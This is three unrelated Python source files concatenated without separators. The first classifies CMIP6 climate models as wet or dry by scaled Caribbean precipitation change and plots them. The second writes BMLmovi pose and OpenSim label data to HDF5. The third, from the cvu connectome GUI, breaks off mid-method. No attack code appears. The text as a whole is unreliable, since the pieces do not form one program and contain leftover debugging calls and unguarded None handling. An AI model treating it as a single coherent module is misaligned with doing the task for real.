# Python script to differentate between dry and wet models. Output: a figure and the list of wet and dry models. (Figure 21 report)
# Wet models are the models with a scaled change in precipitation averaged over the Caribbean region wetter than the 70th percentile
# Dry models are the models with a scaled change in precipitation averaged over the Caribbean region dryier than the 30 th percentile

import xarray as xr
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
import os
import pandas as pd
import datetime
from cftime import DatetimeNoLeap
import cartopy.crs as ccrs
import cartopy.feature as cfeature
import cmocean.cm as cmo
from matplotlib import cm

# ------------------ Things to select ----------------------

scaling = True
ssp = 'ssp585'
season_list = ['annual']#,'dry','wet']

# ----------------------------------------------------------

#Functions

def time_period(da,period):
    """
    Select only the months inside the season of interest ('period') and takes running mean 30 yr window
    """
    if period == 'annual':
        da_time = da
        #da_time = da_time.rolling(time=30*12,center=False).mean(dim='time')
    elif period == 'wet':
        da_time = da.where((da.time.dt.month>=5) & (da.time.dt.month<=11),drop=True)#.dropna(dim='time')
        #da_time = da_time.rolling(time=30*7,center=False).mean(dim='time')
    elif period == 'dry':
        da_time = da.where((da.time.dt.month<=4) | (da.time.dt.month>=12),drop=True)#.dropna(dim='time')
        #da_time = da_time.rolling(time=30*5,center=False).mean(dim='time')
    return da_time #.dropna(dim='time')

def boxmean(da):
    """Compute spatial mean"""
    weights = np.cos(np.deg2rad(da.lat))
    weights.name = 'weights'
    boxmean = da.weighted(weights).mean(dim=('lat','lon'))
    return boxmean

def preprocessing_area_mean(ds):
    """
    Function to call when importing netcdf files with xr.open_mfdataset.
    - Sets all the datasets to the same datetime and time axis
    - Deletes from the files inconsistent dimensions/coordinates and saves models name
    """
    if ds.indexes['time'].inferred_type != "datetime64":
            ds['time'] = ds.indexes['time'].to_datetimeindex()
    ds['time'] = pd.date_range(start=str(ds.time[0].dt.year.values)+'-0'+str(ds.time[0].dt.month.values)+'-01',end='2100-12-16',periods=len(ds.time))
    if 'plev_bnds' in ds:
        ds =  ds.drop('plev_bnds')
    if 'plev' in ds:
        ds = ds.drop('plev')
    if 'height' in ds:
        ds = ds.drop('height')
    if 'file_qf' in ds:
        ds = ds.drop('file_qf')
    return ds

#------------------------INPUT------------------------#

season_title = {'annual':'Annual','dry': 'Dry season (December-April)','wet':'Wet season (May-November)'}
title_ssp = {'ssp126':'SSP1-2.6', 'ssp245': 'SSP2-4.5', 'ssp585': 'SSP5-8.5'}

#------------------------CALCULATIONS------------------------#

# Import data

pr_BES_cmip6 = xr.open_mfdataset('/home/bbrotonsbl/shared_data/volume_2/bbrotonsbl/resampling/Method-2014/preprocessed_data/CMIP6/03_area_mean/BES2/pr/*'+ssp+'*.nc',concat_dim = 'model',combine = 'nested',preprocess = preprocessing_area_mean)
tas_40S_40N_cmip6 = xr.open_mfdataset('/home/bbrotonsbl/shared_data/volume_2/bbrotonsbl/resampling/Method-2014/preprocessed_data/CMIP6/03_area_mean/40N_40S/tas/*'+ssp+'*.nc',concat_dim = 'model',combine = 'nested', preprocess = preprocessing_area_mean)
pr_BES_cmip6 = pr_BES_cmip6.load()
tas_40S_40N_cmip6 = tas_40S_40N_cmip6.load()

pr_BES_cmip6 = pr_BES_cmip6.sortby(pr_BES_cmip6.model_name) # to avoid different models order!
tas_40S_40N_cmip6 = tas_40S_40N_cmip6.sortby(tas_40S_40N_cmip6.model_name)

models = tas_40S_40N_cmip6.model_name

#---- Define wet and dry models:-----

for season in season_list:

    tas_period = time_period(tas_40S_40N_cmip6,season)
    pr_period = time_period(pr_BES_cmip6,season)

    # Compute change in tempertature
    dtas_40S_40N = tas_period.sel(time=slice('1-1-2071', '31-12-2100')).mean(dim='time') - tas_40S_40N_cmip6.sel(time=slice('1-1-1991', '31-12-2020')).mean(dim='time') # target-ref
    dpr_area_mean = pr_period.sel(time=slice('1-1-2071', '31-12-2100')).mean(dim='time') - pr_BES_cmip6.sel(time=slice('1-1-1991', '31-12-2020')).mean(dim='time') # target-ref

    if scaling == True:
        dpr_dt40 = dpr_area_mean.pr/dtas_40S_40N.tas #scaled region mean precipitation
        ylaebl_name = r'Scaled $\Delta$ Precipitation (Carib) [mm/day $^{\circ}$C]'; sc = ''; title = 'Scaled precipitation'
    elif scaling == False:
        dpr_dt40 = dpr_area_mean.pr
        ylaebl_name = r'$\Delta$ Precipitation (Carib) [mm/day $^{\circ}$C]'; sc = '_nonscaled'; title = 'Non-scaled precipitation'
    dpr_dt40_quant = dpr_dt40.quantile((0.3,0.7))
    # dpr_dt40_quant = dpr_dt40.quantile((0.45,0.55))
    wet_idx = np.where(dpr_dt40>=dpr_dt40_quant[1])[0]
    dry_idx = np.where(dpr_dt40<=dpr_dt40_quant[0])[0]

    print('Scaling = '+str(scaling))
    print(season)
    models_wet = []
    print('Wet models are:')
    for i in range(len(wet_idx)):
        models_wet.append(models[int(wet_idx[i])])
        print('-', models[int(wet_idx[i])].values)

    models_dry = []
    print('Dry models are:')
    for i in range(len(dry_idx)):
        models_dry.append(models[int(dry_idx[i])])
        print('-', tas_40S_40N_cmip6.model_name[int(dry_idx[i])].values)

    models_names = ['ACCESS-CM2', 'ACCESS-ESM1-5', 'AWI-CM-1-1-MR', 'BCC-CSM2-MR','    CESM2', 'CESM2-WACCM   ', '    CIESM', 'CMCC-CM2-SR5', 'CNRM-CM6-1','CNRM-CM6-1-HR', 'CNRM-ESM2-1', 'CanESM5', 'CanESM5-CanOE','EC-Earth3', 'EC-Earth3-Veg', 'FGOALS-f3-L', 'FGOALS-g3', 'GFDL-ESM4', 'GISS-E2-1-G', 'HadGEM3-GC31-LL   ', '     INM-CM4-8   ', '   INM-CM5-0  ', '   IPSL-CM6A-LR    ', 'KACE-1-0-G', 'MIROC-ES2L', 'MIROC6','MPI-ESM1-2-HR', 'MPI-ESM1-2-LR', 'MRI-ESM2-0', 'NESM3', 'NorESM2-MM', 'UKESM1-0-LL']
    breakpoint()
    plt.figure(345678)
    fig,ax = plt.subplots(1,1,figsize=(15,10))
    #fig.suptitle(title)
    ax.set_title(season_title[season],loc='right',fontsize=16)
    ax.set_title(title_ssp[ssp],loc='left',fontsize=16)
    plt.scatter(range(0,len(models)),dpr_dt40* 86400,s=100,c='black')
    plt.ylabel(ylaebl_name,fontsize=18)
    plt.axhline(dpr_dt40_quant[0]* 86400, color='peru', linestyle='--',label='P30')
    plt.axhline(dpr_dt40_quant[1]* 86400, color='teal', linestyle='--',label='P70')
    plt.scatter(dry_idx,dpr_dt40[dry_idx]* 86400,s = 200, c = 'peru')
    plt.scatter(wet_idx,dpr_dt40[wet_idx]* 86400,s = 200, c = 'teal')
    ax.set_xticks(np.linspace(-1.5,30.5,len(models)))#,rotation=50)
    ax.set_xticklabels(models_names,rotation=50,fontsize = 14)
    #ax.set_xticklabels(np.arange(1,33),rotation=50,fontsize = 14)
    plt.yticks(fontsize=16)
    plt.legend(fontsize=16)
    plt.tight_layout()
    # plt.savefig('/home/bbrotonsbl/shared_data/volume_2/bbrotonsbl/resampling/Method-2014/output_plots/definitivos/wet_dry_deffinition_'+season+sc+'.png')
    plt.savefig('/home/bbrotonsbl/shared_data/volume_2/bbrotonsbl/resampling/Method-2014/output_plots/report/wet_dry_deffinition_'+season+sc+'.png',dpi = 1200)


import os
from glob import glob
import h5py
import torch
import pickle
import pandas as pd
from ms_model_estimation.opensim_utils.OpenSimDataReader import OpenSimDataReader
from ms_model_estimation.training.networks.model_layer.OpenSimNode import OpenSimNode
from ms_model_estimation.training.networks.model_layer.OpenSimTreeLayer import OpenSimTreeLayer
from ms_model_estimation.training.camera.cameralib import *
from tqdm import trange
from ms_model_estimation.training.utils.OSUtils import LeafJoints, PredictedBones, PredictedCoordinates, \
    PredictedOSJoints
from ms_model_estimation.training.utils.BMLUtils import PredictedMarkers, smplHJoint
from ms_model_estimation.pyOpenSim.TrcGenerator import TrcGenerator

def search_bml_data_list(hdf5Folder, opensimGTFolder, fullBodyPath, postfix="_MoSh", duration=1):
    hdf5Folder = hdf5Folder + "/" if not hdf5Folder.endswith("/") else hdf5Folder
    opensimGTFolder = opensimGTFolder + "/" if not opensimGTFolder.endswith("/") else opensimGTFolder
    pyBaseModel = OpenSimDataReader.read_opensim_model(fullBodyPath)

    videos = glob(hdf5Folder + "*_*_img.hdf5")
    videos = [f.replace("\\", "/") for f in videos]

    videoIdxTable = np.load(hdf5Folder + "videoIdx.npy", allow_pickle=True).item()
    bboxInf = np.load(hdf5Folder + "all_bbox.npy", allow_pickle=True).item()

    labelList = []
    subjectIDList = []
    frameIDList = []
    videoIDList = []
    cameraTypeList = []
    imgNameList = []
    globalFrameList = []
    startFrameList = []
    endFrameList = []
    globalStartFrameList = []
    hflipUsageList = []
    seedList = []

    for video in videos:
        subjectID = int(video.split("/")[-1].split("_")[0])
        cameraType = video.split("/")[-1].split("_")[1]

        hflipUsage = np.random.uniform(0, 1) >= 0.5
        seed = np.random.randint(0, 2 ** 10)

        for videoIdx in range(1, len(videoIdxTable[subjectID][0]) + 1):

            globalStartFrame = videoIdxTable[subjectID][0][videoIdx - 1] - 1
            globalEndFrame = videoIdxTable[subjectID][1][videoIdx - 1] - 1
            folder = f'Subject_{subjectID}_F'
            labelFileName = "_".join([folder, str(videoIdx), "poses_gt.pkl"])
            labelPath = "/".join([opensimGTFolder + folder + postfix, "Results", labelFileName])
            if not os.path.exists(labelPath):
                print(f'{labelPath} is not created!')
                continue

            for globalFrame in range(globalStartFrame, globalEndFrame + 1):
                frame = globalFrame - globalStartFrame
                filename = f'BMLmovi/Subject_{subjectID}_F/F_{cameraType}_Subject_{subjectID}_L.{videoIdx}.{frame}.0.jpg'

                if bboxInf[subjectID][cameraType].shape[0] > globalFrame:
                    subjectIDList.append(subjectID)
                    imgNameList.append(filename)
                    labelList.append(labelPath)
                    frameIDList.append(frame)
                    videoIDList.append(videoIdx)
                    cameraTypeList.append(cameraType)
                    globalFrameList.append(globalFrame)
                    startFrameList.append(globalStartFrame)
                    endFrameList.append(globalEndFrame)
                    globalStartFrameList.append(videoIdxTable[subjectID][0][0] - 1)
                    hflipUsageList.append(1 if hflipUsage else 0)
                    seedList.append(seed)

    df = None
    if subjectIDList:
        df = {
            'subjectID': subjectIDList, 'videoID': videoIDList, 'frame': frameIDList,
            'globalFrame': globalFrameList, 'labelPath': labelList,
            'cameraType': cameraTypeList, "imgName": imgNameList,
            "startFrame": startFrameList, "globalStartFrame": globalStartFrameList, "globalEndFrame": endFrameList,
            "seed": seedList, "hflipUsage": hflipUsageList
        }
        df = pd.DataFrame(data=df)

    df = df.sort_values(
        by=["subjectID", "cameraType", "videoID", "frame"]).reset_index(drop=True)
    # df = checkContinous(df, duration=duration)
    df = df.sort_values(
        by=["subjectID", "cameraType", "videoID", "frame"]).reset_index(drop=True)

    return {
        "df": df,
        "pyBaseModel": pyBaseModel,
        "bboxInf": bboxInf,
    }

def store_as_h5py(subject, outputFolder, table):
    df = table["df"]
    subjectDF = df.loc[df["subjectID"] == subject, :]
    if len(subjectDF) == 0:
        return

    subjectDF = subjectDF.sort_values(
        by=["subjectID", "cameraType", "videoID", "frame"]).reset_index(drop=True)

    '''
    # create label datasets
    path = outputFolder + f'subject_{subject}.hdf5'
    create_h5py(path, subjectDF, table["bboxInf"])'''

    # create opensim dataset
    #path = outputFolder + f'subject_{subject}_opensim.hdf5'
    #create_opensim_label_dataset(path, subjectDF, table["pyBaseModel"])

def create_h5py(path, df, bboxInf):
    with h5py.File(path, 'w') as f:
        ImageListD = f.create_dataset('ImgList', (len(df),), dtype='S150', compression="gzip",
                                      compression_opts=9)
        imageNames = [name.encode() for name in df["imgName"].tolist()]
        ImageListD[:] = imageNames

        subjectIDD = f.create_dataset('subjectID', (len(df),), dtype='i8', compression="gzip",
                                      compression_opts=9)
        subjectIDD[:] = df["subjectID"].tolist()

        videoIDListD = f.create_dataset('videoID', (len(df),), dtype='i8', compression="gzip",
                                        compression_opts=9)
        videoIDListD[:] = df["videoID"].tolist()

        frameIDListD = f.create_dataset('frame', (len(df),), dtype='i8', compression="gzip",
                                        compression_opts=9)
        frameIDListD[:] = df["frame"].tolist()

        cameraTypeD = f.create_dataset('cameraType', (len(df),), dtype='S5', compression="gzip",
                                       compression_opts=9)
        cameras = [c.encode() for c in df["cameraType"].tolist()]
        cameraTypeD[:] = cameras

        globalStartFrameD = f.create_dataset('globalStartFrame', (len(df),),
                                             dtype='i8', compression="gzip",
                                             compression_opts=9)
        globalStartFrameD[:] = df["globalStartFrame"].tolist()

        globalEndFrameD = f.create_dataset('globalEndFrame', (len(df),),
                                           dtype='i8', compression="gzip",
                                           compression_opts=9)
        globalEndFrameD[:] = df["globalEndFrame"].tolist()

        startFrameD = f.create_dataset('startFrame', (len(df),),
                                       dtype='i8', compression="gzip",
                                       compression_opts=9)
        startFrameD[:] = df["startFrame"].tolist()

        globalFrameD = f.create_dataset('globalFrame', (len(df),),
                                        dtype='i8', compression="gzip",
                                        compression_opts=9)
        globalFrameD[:] = df["globalFrame"].tolist()

        hflipUsageD = f.create_dataset('hflipUsage', (len(df),),
                                       dtype='i8', compression="gzip",
                                       compression_opts=9)
        hflipUsageD[:] = df["hflipUsage"].tolist()

        seedD = f.create_dataset('seed', (len(df),),
                                 dtype='i8', compression="gzip",
                                 compression_opts=9)
        seedD[:] = df["seed"].tolist()

        create_label_dataset(f, df, bboxInf)

def create_label_dataset(f, df, bboxInf):
    imgSampleRate = 1
    MocapToVideoRatio = 4

    usedFrameD = f.create_dataset('usedFrame', (len(df),),
                                  dtype='i8', compression="gzip",
                                  compression_opts=9)
    '''
    usedFrame5D = f.create_dataset('usedFrame5', (len(df),),
                                   dtype='i8', compression="gzip",
                                   compression_opts=9)'''

    pos3dD = f.create_dataset(f'pos3d', (len(df), len(smplHJoint), 3),
                              dtype='f8', compression="gzip",
                              compression_opts=9, chunks=(1, len(smplHJoint), 3))

    pos3dD_marker = f.create_dataset(f'marker_pos3d', (len(df), len(PredictedMarkers), 3),
                                     dtype='f8', compression="gzip",
                                     compression_opts=9, chunks=(1, len(PredictedMarkers), 3))

    sim_pos3dD = f.create_dataset(f'sim_pos3d', (len(df), len(smplHJoint), 3),
                                  dtype='f8', compression="gzip",
                                  compression_opts=9, chunks=(1, len(smplHJoint), 3))

    sim_pos3dD_marker = f.create_dataset(f'sim_marker_pos3d', (len(df), len(PredictedMarkers), 3),
                                         dtype='f8', compression="gzip",
                                         compression_opts=9, chunks=(1, len(PredictedMarkers), 3))

    pos3dMaskD = f.create_dataset(f'pos3d_mask', (len(df), len(smplHJoint)),
                                  dtype='f8', compression="gzip",
                                  compression_opts=9, chunks=(1, len(smplHJoint)))

    markerMaskD = f.create_dataset(f'marker_pos3d_mask', (len(df), len(PredictedMarkers)),
                                   dtype='f8', compression="gzip",
                                   compression_opts=9, chunks=(1, len(PredictedMarkers)))

    bboxD = f.create_dataset(f'bbox', (len(df), 4),
                             dtype='i8', compression="gzip",
                             compression_opts=9, chunks=(1, 4))

    subjectID = df.loc[0, 'subjectID']
    cameraTypeList = df["cameraType"].tolist()
    bboxInf = bboxInf[subjectID]

    labelPath = None
    for i in trange(len(df)):

        currentLabelPath = df.loc[i, 'labelPath']

        if labelPath is None or currentLabelPath != labelPath:

            labelPath = currentLabelPath

            label = pickle.load(open(labelPath, "rb"))
            numMocapFrame = label["coordinateAngle"].shape[0]
            labelPos = label["label"]
            simulationPos = label["simulation"]

            # 3d marker position from amass
            markerLoc = np.zeros((numMocapFrame, len(PredictedMarkers), 3), dtype=np.float32)
            for idxM, predMarker in enumerate(PredictedMarkers):
                markerLoc[:, idxM, :] = labelPos[:, TrcGenerator.StaticMarkerIndexTable[predMarker], :]

            # 3d joint position from amass
            amass3dLoc = np.zeros((numMocapFrame, len(smplHJoint), 3), dtype=np.float32)
            for idxM, predJoint in enumerate(smplHJoint):
                amass3dLoc[:, idxM, :] = labelPos[:, TrcGenerator.StaticMarkerIndexTable[predJoint], :]

            # 3d marker position from amass
            simMarkerLoc = np.zeros((numMocapFrame, len(PredictedMarkers), 3), dtype=np.float32)
            for idxM, predMarker in enumerate(PredictedMarkers):
                simMarkerLoc[:, idxM, :] = simulationPos[:, TrcGenerator.StaticMarkerIndexTable[predMarker], :]

            # 3d joint position from amass
            simAmass3dLoc = np.zeros((numMocapFrame, len(smplHJoint), 3), dtype=np.float32)
            for idxM, predJoint in enumerate(smplHJoint):
                simAmass3dLoc[:, idxM, :] = simulationPos[:, TrcGenerator.StaticMarkerIndexTable[predJoint], :]

            # if error is above 2 cm, mask is set to 0
            amass3dMask = 1 * (np.linalg.norm(amass3dLoc - simAmass3dLoc, ord=2, axis=-1) <= 0.02)
            markerMask = 1 * (np.linalg.norm(markerLoc - simMarkerLoc, ord=2, axis=-1) <= 0.02)

            # if at least one joint moves over 20 mm , the frame will be used.
            # indices = slice(0, None, imgSampleRate * MocapToVideoRatio)
            previousLocation = None
            usedFrame = np.ones((markerLoc.shape[0],), dtype=np.int)
            for idx in range(markerLoc.shape[0]):
                if previousLocation is None:
                    previousLocation = markerLoc[idx, :, :].copy()
                    continue

                if np.sum((np.sum((markerLoc[idx, :, :] - previousLocation) ** 2, axis=-1) ** 0.5) > (20 / 1000)):
                    previousLocation = markerLoc[idx, :, :].copy()
                else:
                    usedFrame[idx] = 0

            '''
            slices = slice(0, len(df), 5)
            sampledPosition = amass3dLoc[slices, :, :].copy()
            sampledPosition[1:, :, :] -= sampledPosition[:-1, :, :].copy()
            sampledPosition[0:1, :, :] -= sampledPosition[0:1, :, :].copy()
            usedFrame5D = 1 * np.sum(1 * (np.sum(sampledPosition ** 2, axis=-1) ** 0.5) > (100 / 1000), axis=-1) >= 1'''

        frame = df.loc[i, 'frame']
        if frame * MocapToVideoRatio > numMocapFrame:
            mocapFrame = -1
        else:
            mocapFrame = int(frame * MocapToVideoRatio)

        # joint position
        pos3dD[i, :, :] = amass3dLoc[mocapFrame, :, :]
        sim_pos3dD[i, :, :] = simAmass3dLoc[mocapFrame, :, :]

        # marker position
        pos3dD_marker[i, :, :] = markerLoc[mocapFrame, :, :]
        sim_pos3dD_marker[i, :, :] = simMarkerLoc[mocapFrame, :, :]

        # mask
        pos3dMaskD[i, :] = amass3dMask[mocapFrame, :]
        markerMaskD[i, :] = markerMask[mocapFrame, :]

        # used frames
        usedFrameD[i] = usedFrame[mocapFrame]

        globalFrame = df.loc[i, 'globalFrame']
        if bboxInf[cameraTypeList[i]].shape[0] > globalFrame:
            bboxD[i, :] = bboxInf[cameraTypeList[i]][df.loc[i, 'globalFrame'], :]
        else:
            print(
                f'Bbox frame : {bboxInf[cameraTypeList[i]].shape[0]} globalFrame : {globalFrame}. Use the last frame of the video.')
            bboxD[i, :] = bboxInf[cameraTypeList[i]][-1, :]

def create_opensim_label_dataset(path, df, pyBaseModel):
    MocapToVideoRatio = 4
    COMP_DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu")

    opensimTree = OpenSimTreeLayer(pyBaseModel, PredictedBones, PredictedCoordinates, PredictedOSJoints,
                                   predeict_marker=False, leafJoints=LeafJoints).float().to(COMP_DEVICE)

    with torch.no_grad():
        rot1Axis = torch.Tensor([0, 0, 1]).float()
        rot2Axis = torch.Tensor([1, 0, 0]).float()
        rot3Axis = torch.Tensor([0, 1, 0]).float()

        currentLabelPath = None
        currentSubjectID = None

        with h5py.File(path, 'w') as f:

            openSimJointPosD = f.create_dataset('openSimJointPos',
                                                (len(df), len(PredictedOSJoints) + len(LeafJoints), 3),
                                                dtype='f8', compression="gzip",
                                                compression_opts=9,
                                                chunks=(1, len(PredictedOSJoints) + len(LeafJoints), 3))

            coordinateAngleD = f.create_dataset('coordinateAngle', (len(df), len(PredictedCoordinates)),
                                                dtype='f8', compression="gzip",
                                                compression_opts=9, chunks=(1, len(PredictedCoordinates)))
            coordinateMaskD = f.create_dataset('coordinateMask', (len(df), len(PredictedCoordinates)),
                                               dtype='f8', compression="gzip",
                                               compression_opts=9, chunks=(1, len(PredictedCoordinates)))
            rootRotD = f.create_dataset('rootRot', (len(df), 4, 4),
                                        dtype='f8', compression="gzip",
                                        compression_opts=9, chunks=(1, 4, 4))

            for i in trange(len(df)):

                labelPath = df.loc[i, 'labelPath']
                subjectID = df.loc[i, 'subjectID']
                update = False

                # new label file
                if currentLabelPath is None or labelPath != currentLabelPath:
                    currentLabelPath = labelPath
                    label = pickle.load(open(labelPath, "rb"))
                    numLabelFrames = label["coordinateAngle"].shape[0]
                    coordinateNames = label["coordinateName"]
                    coordinateAngle = np.zeros((numLabelFrames, len(PredictedCoordinates)))
                    coordinateMask = np.zeros((numLabelFrames, len(PredictedCoordinates)))
                    coordinateAngles = label["coordinateAngle"]
                    coordinateMasks = label["coordinateMask"]
                    for coordIdx, name in enumerate(PredictedCoordinates):
                        nameIdx = coordinateNames.index(name)
                        coordinateAngle[:, coordIdx] = coordinateAngles[:, nameIdx]
                        coordinateMask[:, coordIdx] = coordinateMasks[:, nameIdx]
                    update = True

                # new subject
                if currentSubjectID is None or currentSubjectID != subjectID:
                    currentSubjectID = subjectID
                    boneScale = np.zeros((len(PredictedBones), 3), dtype=np.float32)
                    boneScales = label["boneScale"]
                    boneName = label["boneName"]
                    for idx, name in enumerate(PredictedBones):
                        boneScale[idx, :] = boneScales[boneName.index(name), :]

                    boneScaleD = f.create_dataset(f'{subjectID}_boneScale', (boneScale.shape),
                                                  dtype='f8', compression="gzip",
                                                  compression_opts=9)
                    boneScaleD[:, :] = boneScale
                    update = True

                if update:
                    slices = slice(0, label["globalTranslation"].shape[0], MocapToVideoRatio)
                    batchSize = label["globalTranslation"][slices, :].shape[0]

                    # get the rotation of root , R
                    parentFrame = torch.eye(4).unsqueeze(0).repeat(batchSize, 1, 1).float()
                    parentFrame[:, 1, -1] = -0.2351
                    parentFrame[:, 0, -1] += label["globalTranslation"][slices, 0]
                    parentFrame[:, 1, -1] += label["globalTranslation"][slices, 1]
                    parentFrame[:, 2, -1] += label["globalTranslation"][slices, 2]

                    # global rotation matrix
                    C1 = torch.Tensor(coordinateAngles[slices, 0:1]).float()
                    C2 = torch.Tensor(coordinateAngles[slices, 1:2]).float()
                    C3 = torch.Tensor(coordinateAngles[slices, 2:3]).float()

                    # The rotation mat of first coordinate
                    R1 = OpenSimNode.axangle2mat(rot1Axis.unsqueeze(0).repeat(batchSize, 1), C1)

                    # The rotation mat of second coordinate
                    temp = torch.einsum('bij , j -> bi', R1, rot2Axis)
                    R2 = OpenSimNode.axangle2mat(temp, C2)

                    # The rotation mat of third coordinate
                    temp = torch.einsum('bij , j -> bi', R1, rot3Axis)
                    temp = torch.einsum('bij , bj -> bi', R2, temp)
                    R3 = OpenSimNode.axangle2mat(temp, C3)

                    # The overall rotation mat
                    # x = torch.einsum('bij , jk -> bik', R1, eyeMatrix)
                    x = torch.matmul(R2, R1)
                    x = torch.matmul(R3, x)
                    R = OpenSimNode.rotMat_to_homogeneous_matrix(x, batchSize)
                    R = torch.einsum('bij , bjk -> bik', parentFrame, R)

                    '''
                    R1 = OpenSimNode.axangle2mat(rot1Axis, C1)
                    temp = torch.einsum('bij , jk -> bik', R1, rot2Axis) #torch.matmul(R1, rot2Axis)
                    R2 = OpenSimNode.axangle2mat(temp, C2)
                    temp = torch.einsum('bij , jk -> bik', R1, rot3Axis)#torch.matmul(R1, rot3Axis)
                    temp = torch.einsum('bij , bjk -> bik', R2, temp) #torch.matmul(R2, temp)
                    R3 = OpenSimNode.axangle2mat(temp, C3)
                    x = torch.matmul(R2, R1)
                    x = torch.matmul(R3, x)
                    R = OpenSimNode.rotMat_to_homogeneous_matrix(x, 0)
                    R = torch.einsum('bij , bjk -> bik', parentFrame, R)'''

                    # calculate the 3d joint location
                    x = {}
                    x["predBoneScale"] = torch.from_numpy(boneScale).float().unsqueeze(0).repeat(batchSize, 1, 1).to(
                        COMP_DEVICE)
                    x["predRot"] = torch.Tensor(coordinateAngle[slices, :]).float().to(COMP_DEVICE)
                    x["rootRot"] = R.to(COMP_DEVICE)
                    treePred = opensimTree(x)
                    openSimJointPos = treePred["predJointPos"].cpu().detach().numpy()

                # get the target frame
                frame = df.loc[i, 'frame']

                if (frame * MocapToVideoRatio) > numLabelFrames:
                    mocapFrame = -1
                    print(f'{df.loc[i, "imgName"]} uses the last frame in the label.')
                else:
                    mocapFrame = int(frame * MocapToVideoRatio)

                # openSimJointPos = treePred["predJointPos"][:, :, :].cpu().detach().numpy()
                # openSimJointPos = np.array(openSimJointPos)

                openSimJointPosD[i, :, :] = openSimJointPos[frame if frame < openSimJointPos.shape[0] else -1, :, :]
                coordinateAngleD[i, :] = coordinateAngle[mocapFrame, :]
                coordinateMaskD[i, :] = coordinateMask[mocapFrame, :]
                rootRotD[i, :, :] = R[frame if frame < openSimJointPos.shape[0] else -1, :, :]

if __name__ == "__main__":
    pass


#    (C) Roan LaPlante 2013 rlaplant@nmr.mgh.harvard.edu
#
#	 This file is part of cvu, the Connectome Visualization Utility.
#
#    cvu is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.

from traits.api import (HasTraits,Any,List,Str,Enum,Dict,Instance,Either,
    Property,Button,on_trait_change)
from traitsui.api import (Item,Handler,View,ButtonEditor,InstanceEditor,
    TextEditor)
from options_struct import OptionsDatabase
from utils import DatasetMetadataElement,CVUError,DisplayMetadata
from viewport import ViewPanel

class ViewportManagerEntry(HasTraits):
    window_name=Str
    window_group=Enum('1','2')
    all_datasets=List

class ViewportManager(Handler):
    #TODO make this a dialog
    from traitsui.api import (Item,View,ObjectColumn,TableEditor,RangeEditor,
        CheckListEditor,OKButton)

    ctl=Any
    selected_col=Any

    def __init__(self,ctl,**kwargs):
        super(Handler,self).__init__(**kwargs)
        self.ctl = ctl

    traits_view=View(
        Item(name='metadata_list',object='object.ctl',
            editor=TableEditor(columns= [
                ObjectColumn(label='Window',name='panel_scratch',
                    editor=TextEditor(enter_set=True, auto_set=False)),
                ObjectColumn(label='Dataset',name='ds_name_scratch',
                    editor=TextEditor(enter_set=True, auto_set=False))],
                edit_view='tabular_view'),
            show_label=False,height=200,width=700,
        ),
        kind='nonmodal',buttons=[OKButton],
        title='If it were up to me it would all be in Swahili',
    )

class DatasetUIMetadata(DatasetMetadataElement):
    controller = Any
    panel,panel_scratch = 2*(Str,)
    ds_name,ds_name_scratch = 2*(Str,)

    display_metadata = Instance(DisplayMetadata)

    rebuild_button = Button
    rebuild_label = Property(Str)
    def _get_rebuild_label(self): return 'Rebuild %s'%self.panel

    delete_button = Button
    delete_label = Property(Str)
    def _get_delete_label(self): return 'Delete %s'%self.ds_name

    def __init__(self,controller,panel,name,display_metadata,**kwargs):
        self.panel = self.panel_scratch = panel
        self.ds_name = self.ds_name_scratch = name
        super(DatasetUIMetadata,self).__init__(controller,**kwargs)
        self.controller = controller
        self.display_metadata = display_metadata

    def _rebuild_button_fired(self):
        if self.panel == 'base_gui':
            self.controller.error_dialog(
                'Rebuilding the base GUI is not allowed'); return
        self.controller.rebuild_panel(self.panel)
    def _delete_button_fired(self):
        if (self.controller.ds_instances[self.ds_name] is
                self.controller.ds_orig):
            self.controller.error_dialog(
                "Removal of the sample data is not allowed"); return
        self.controller.remove_dataset(self.ds_name)

    @on_trait_change('panel_scratch')
    def _rename_panel(self):
        if self.panel == 'base_gui':
            self.controller.warning_dialog(
                'Renaming the base gui window is not allowed'); return
        old_name = self.controller.panel_instances[self.panel].panel_name
        new_name = self.panel_scratch
        self.controller.rename_panel(old_name,new_name)
        self.panel = self.panel_scratch

    @on_trait_change('ds_name_scratch')
    def _rename_ds(self):
        old_name = self.controller.ds_instances[self.ds_name].name
        new_name = self.ds_name_scratch
        self.controller.rename_dataset(old_name,new_name)
        self.ds_name = self.ds_name_scratch

    tabular_view = View(
        Item(name='rebuild_button',
            editor=ButtonEditor(label_value='rebuild_label'),show_label=False),
        Item(name='delete_button',
            editor=ButtonEditor(label_value='delete_label'),show_label=False),
        #Item(name='rename_button',
        #	editor=ButtonEditor(label_value='rename_label')),
        Item(name='display_metadata',style='custom',show_label=False,
            editor=InstanceEditor(),),
    )

class Controller(HasTraits):
    gui=Any						#handle to the gui
    options_db=Instance(OptionsDatabase)

    ds_orig = Any			#convenience reference to the original dataset

    ds_instances = Dict		#map: dataset name -> metadata
    ds_metadatae = Dict		#map: panel name -> metadata
    panel_instances = Dict	#map: dataset name -> DS instance
    panel_metadatae = Dict	#map: panel name -> panel instance
    #metadata_list = List	#all instances of metadata elements
    metadata_list = Property(List)
    def _get_metadata_list(self):
        return self.ds_metadatae.values()
    #def _set_metadata_list(self,val): pass

    viewport_manager=Instance(ViewportManager)

    #HASHING STRATEGY
    #
    # 4 hash tables
    # 	dataset name -> associated metadata
    #	panel name -> associated metadata
    #	dataset name -> Dataset Instance
    #	panel name -> Panel Instance

    def __init__(self,gui,sample_data,sample_metadata):
        super(Controller,self).__init__()
        self.gui=gui

        self.ds_orig = sample_data

        ds_meta = DatasetUIMetadata(self,'base_gui',sample_data.name,
            sample_metadata)
        self.ds_instances = {sample_data.name : sample_data}
        self.panel_instances = {'base_gui' : self.gui}
        self.ds_metadatae = {sample_data.name : ds_meta}
        self.panel_metadatae = {'base_gui' : ds_meta}

        self.options_db=OptionsDatabase(sample_data)
        self.viewport_manager=ViewportManager(self)

    #listen to the GUI for changes in the current dataset and set the control
    #accordingly for the unstable windows
    @on_trait_change('gui:options_window:current_dataset')
    def options_window_ctl_listener(self):
